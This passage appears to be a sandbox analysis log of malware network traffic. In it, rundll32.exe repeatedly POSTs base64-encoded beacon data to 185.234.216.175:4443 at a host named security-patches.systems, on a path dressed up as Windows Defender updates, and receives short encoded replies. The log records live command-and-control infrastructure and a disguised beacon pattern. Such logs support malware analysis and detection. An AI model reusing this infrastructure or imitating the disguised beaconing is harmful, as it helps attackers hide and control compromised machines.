data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:37.388056040 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:36 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:37.654063940 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:39.109209061 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49767	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:39.374171972 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:40.856287003 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49773	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:41.132041931 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:42.594734907 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:42 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49779	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:42.857764959 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:44.310071945 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49782	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:44.597064018 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:46.058696032 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49787	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:46.327305079 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:47.773425102 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49793	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:48.032160997 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:49.501842022 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:49 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49798	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:49.910649061 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:51.372632027 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:51 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49804	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:51.639734983 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:53.088341951 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49806	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:53.357587099 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:54.792453051 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:54 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49811	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:55.070889950 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:56.693231106 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49817	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:56.950488091 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 